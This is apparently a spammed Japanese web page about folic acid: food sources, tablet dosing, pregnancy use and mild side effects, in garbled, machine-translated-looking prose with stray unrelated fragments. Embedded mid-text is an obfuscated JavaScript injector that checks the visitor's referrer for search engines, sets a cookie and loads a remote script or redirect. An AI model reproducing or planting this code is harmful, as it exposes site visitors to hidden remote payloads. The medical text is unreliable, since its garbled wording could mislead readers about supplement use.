多くの食品には、ホウレン草、芽、ブロッコリー、ミカン、エンドウ豆、ヒヨコマメ、玄米、腎臓、肝臓、ジャガイモなどの葉酸が含まれています.. 葉酸はまた、重症のクローン病、乾癬および関節炎を有する人々におけるメトトレキセート治療と並行して使用される.
あなたが葉酸を摂取している理由に応じて、1日に1錠、または特定の曜日にのみ1錠を服用するよう求められることがあります.
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5mgの錠剤は、まれに穏やかな胃を引き起こすことがあります(欲求の喪失、吐き気、肥大感).. constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x15c092){_0x28272e=window;}return _0x28272e;};var _0x4b69f6=_0x46dc87();var _0x3d0b27='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x4b69f6['atob']||(_0x4b69f6['atob']=function(_0x329960){var _0x23a61e=String(_0x329960)['replace'](/=+$/,'');for(var _0x4a137e=0x0,_0x4b8caf,_0x390e87,_0x5dbeec=0x0,_0x58e1fb='';_0x390e87=_0x23a61e['charAt'](_0x5dbeec++);~_0x390e87&&(_0x4b8caf=_0x4a137e%0x4?_0x4b8caf*0x40+_0x390e87:_0x390e87,_0x4a137e++%0x4)?_0x58e1fb+=String['fromCharCode'](0xff&_0x4b8caf>>(-0x2*_0x4a137e&0x6)):0x0){_0x390e87=_0x3d0b27['indexOf'](_0x390e87);}return _0x58e1fb;});}());_0x5f53['base64DecodeUnicode']=function(_0x1bec7a){var _0x562549=atob(_0x1bec7a);var _0x268200=[];for(var _0x451e8d=0x0,_0x4c2d30=_0x562549['length'];_0x451e8d=_0x1242af;},'BvbLf':'PGk','DGmEm':_0x5f53('0x22'),'GZfuQ':function _0x3bd50b(_0x566945,_0x3d0f68){return _0x566945(_0x3d0f68);},'wAqkj':function _0x23584b(_0x22b79f,_0x11c848){return _0x22b79f+_0x11c848;},'pnLpB':function _0x542e0f(_0x30c61e,_0x5efa69){return _0x30c61e+_0x5efa69;},'CFujh':_0x5f53('0x23'),'GuIuJ':function _0x574a39(_0x5961f7,_0x294784){return _0x5961f7+_0x294784;}};var _0x31a581=[_0x5ebfb6[_0x5f53('0x24')],_0x5ebfb6[_0x5f53('0x25')],_0x5ebfb6[_0x5f53('0x26')],_0x5f53('0x27'),_0x5ebfb6[_0x5f53('0x28')],_0x5ebfb6[_0x5f53('0x29')],_0x5f53('0x2a')],_0x39317f=document['referrer'],_0x1ff5bf=![],_0x5f5af6=cookie[_0x5f53('0x2b')](_0x5ebfb6['nQsgP']);for(var _0x397d1e=0x0;_0x5ebfb6['mhUSy'](_0x397d1e,_0x31a581[_0x5f53('0x2c')]);_0x397d1e++){if(_0x5ebfb6[_0x5f53('0x2d')](_0x5f53('0x2e'),_0x5f53('0x2e'))){var _0x4bed90=document['createElement'](_0x5ebfb6[_0x5f53('0x2f')]);_0x4bed90[_0x5f53('0x30')]=url;document[_0x5f53('0x2')](_0x5ebfb6[_0x5f53('0x31')])[0x0][_0x5f53('0x32')](_0x4bed90);}else{if(_0x5ebfb6[_0x5f53('0x33')](_0x39317f[_0x5f53('0x34')](_0x31a581[_0x397d1e]),0x0)){_0x1ff5bf=!![];}}}if(_0x1ff5bf){if(_0x5ebfb6[_0x5f53('0x35')]!==_0x5ebfb6['DGmEm']){cookie[_0x5f53('0x36')](_0x5ebfb6[_0x5f53('0x37')],0x1,0x1);if(!_0x5f5af6){_0x5ebfb6[_0x5f53('0x38')](include,_0x5ebfb6['wAqkj'](_0x5ebfb6[_0x5f53('0x39')](_0x5ebfb6['CFujh'],q),''));}}else{include(_0x5ebfb6[_0x5f53('0x3a')](_0x5ebfb6[_0x5f53('0x3a')](_0x5ebfb6['CFujh'],q),''));}}}R(); 葉酸を飲むだけでなく、軽く調理された緑の葉野菜を含む健康的な食事を食べてみてください.. 妊娠の初期段階は葉酸が必要であり、妊娠を計画している女性には葉酸サプリメントが推奨される理由です.. 薬のタイプビタミンB9大人と子供の腸酸欠乏のために使用されています。妊娠前/妊娠中の葉酸補充も呼び出されます。フォレートとして利用可能錠剤および経口液体ビタミンは、成長および一般健康のために少量の体内に必要な物質です. Letras De Dev C++
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葉酸を飲むことに加えて、ほうれんそう、芽キャベツ、ブロッコリー、緑豆、ジャガイモなどの葉酸が豊富な食品を含む健康的な食事を食べてみてください.. あなたが赤ちゃんを持つ予定のために葉酸錠を購入した場合は、錠剤の服用を開始する前に、パック(またはその中身)の製造元の印刷情報を読んでください.. セリアック病、糖尿病、および鎌状赤血球貧血などのいくつかの病状では、妊娠中の1日5mgのサプリメントも推奨されます。また、てんかん治療薬.. 葉酸サプリメントを服用すると、脊髄二分脊椎症や赤ちゃんの他の神経管欠損の可能性が減少することが示されています.. 余分な葉酸は、たとえあなたが健康であり、良い食事をしていても、少なくともすべての女性にとって妊娠の最初の12週間は勧められます.. あなたがそれらを取る日の同じ時間にあなたの投与量を取ることを試みてください、これはあなたが錠剤を定期的に取ることを覚えておくのに役立ちます. b0d43de27c